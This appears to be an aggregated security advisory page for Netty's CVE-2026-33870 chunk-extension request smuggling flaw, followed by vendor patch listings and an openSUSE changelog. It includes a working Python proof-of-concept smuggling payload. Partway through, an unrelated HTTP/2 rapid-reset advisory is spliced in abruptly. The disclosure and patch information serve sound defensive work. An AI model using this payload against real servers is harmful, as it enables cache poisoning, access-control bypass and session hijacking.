CVE-2026-33870

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|

Impact

• Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
• Cache Poisoning: Smuggled responses may poison shared caches.
• Access Control Bypass: Smuggled requests can circumvent frontend security controls.
• Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

1. Start the minimal proof-of-concept environment…

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec-http 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2024-29025, CVE-2025-58056, CVE-2025-67735, CVE-2026-33870, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-50020, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898, CVE-2026-59899, CVE-2026-59903, and CVE-2026-59921.

CVE-2024-29025: Netty HttpPostRequestDecoder can OOM

CVE-2025-58056: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-41417: Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()

CVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing

CVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

CVE-2026-42584: Netty: HttpClientCodec response desynchronization

CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS

CVE-2026-50020: Netty's HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted

CVE-2026-55831: Netty SPDY SETTINGS frame count materializes unbounded settings map

CVE-2026-55833: Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation

CVE-2026-56745: Netty SpdyHttpDecoder: ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion

CVE-2026-56746: Netty has a Security Control Bypass via CORS Short-Circuit Failure

CVE-2026-59898: Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation

CVE-2026-59899: Netty HttpContentEncoder: Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service

CVE-2026-59903: Netty: Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite

CVE-2026-59921: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

This patched artifact is a drop-in replacement for io.netty:netty-codec-http 4.1.100.Final from Maven Central.

Root has patched CVE-2026-33870 in the io.netty:netty-codec-http package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

TuxCare rebuilt 3 io.netty packages to address 4 CVEs. Fixed in 4.1.115.Final-tuxcare.4.

TuxCare rebuilt io.netty:netty-codec-http to address 2 CVEs. Fixed in 4.1.92.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 5 io.netty packages to address 6 CVEs. Fixed in 4.1.93.Final-tuxcare.3.

TuxCare rebuilt 6 io.netty packages to address 6 CVEs. Fixed in 4.1.130.Final-tuxcare.4.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt 12 io.netty packages to address 19 CVEs. Fixed in 4.1.75.Final-tuxcare.5.

TuxCare rebuilt io.netty:netty-codec-http to address 1 CVE. Fixed in 4.1.128.Final-tuxcare.2.

TuxCare rebuilt 7 io.netty packages to address 12 CVEs. Fixed in 4.2.2.Final-tuxcare.2.

TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.87.Final-tuxcare.4.

TuxCare rebuilt 5 io.netty packages to address 9 CVEs. Fixed in 4.1.118.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 10 CVEs. Fixed in 4.1.74.Final-tuxcare.2.

These are all security issues fixed in the netty-4.1.132-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues:

Upidate to 4.1.132:

• CVE-2026-33870: incorrectly parses quoted strings in HTTP/1.1 can lead to request smuggling (bsc#1261031).
• CVE-2026-33871: sending a flood of CONTINUATION frames can lead to a denial of service (bsc#1261043).

Changelog:

• Upgrade to upstream version 4.1.132

• Fixes:

• Fix Incorrect nanos-to-millis conversion in epoll_wait EINTR retry loop
• Make RefCntOpenSslContext.deallocate more robust
• HTTP2: Correctly account for padding when decompress
• Fix high-order bit aliasing in HttpUtil.validateToken
• fix: the precedence of + is higher than >>
• AdaptiveByteBufAllocator: make sure byteBuf.capacity() not greater than byteBuf.maxCapacity()
• AdaptivePoolingAllocator: call unreserveMatchingBuddy(...) if byteBuf initialization failed
• Don't assume CertificateFactory is thread-safe
• Fix HttpObjectAggregator leaving connection stuck after 413 with AUTO_READ=false
• HTTP2: Ensure preface is flushed in all cases
• Fix UnsupportedOperationException in readTrailingHeaders
• Fix client_max_window_bits parameter handling in permessage-deflate extension
• Native transports: Fix possible fd leak when fcntl fails.
• Kqueue: Fix undefined behaviour when GetStringUTFChars fails and SO_ACCEPTFILTER is supported
• Kqueue: Possible overflow when using netty_kqueue_bsdsocket_setAcceptFilter(...)
• Native transports: Fix undefined behaviour when GetStringUTFChars fails while open FD
• Epoll: Add null checks for safety reasons
• Epoll: Use correct value to initialize mmsghdr.msg_namelen
• Epoll: Fix support for IP_RECVORIGDSTADDR
• AdaptivePoolingAllocator: remove ensureAccessible() call in capacity(int) method
• Epoll: setTcpMg5Sig(...) might overflow
• JdkZlibDecoder: accumulate decompressed output before firing channelRead
• Limit the number of Continuation frames per HTTP2 Headers (bsc#1261043, CVE-2026-33871)
• Stricter HTTP/1.1 chunk extension parsing (bsc#1261031, CVE-2026-33870)
• rediff

• Upgrade to upstream version 4.1.131

• NioDatagramChannel.block(...) does not early return on failure
• Support for AWS Libcrypto (AWS-LC) netty-tcnative build
• codec-dns: Decompress MX RDATA exchange domain names during DNS record decoding
• Buddy allocation for large buffers in adaptive allocator
• SslHandler: Only resume on EventLoop if EventLoop is not shutting down already
• Wrap ECONNREFUSED in PortUnreachableException for UDP
• Bump com.ning:compress-lzf (4.1)
• Fix adaptive allocator bug from not noticing failed allocation
• Avoid loosing original read exception
• Backport multiple adaptive allocator changes

• Upgrade to version 4.1.130
• Upgrade to version 2.0.75 Final

• No formal changelog present
• Needed by netty >= 4.2.11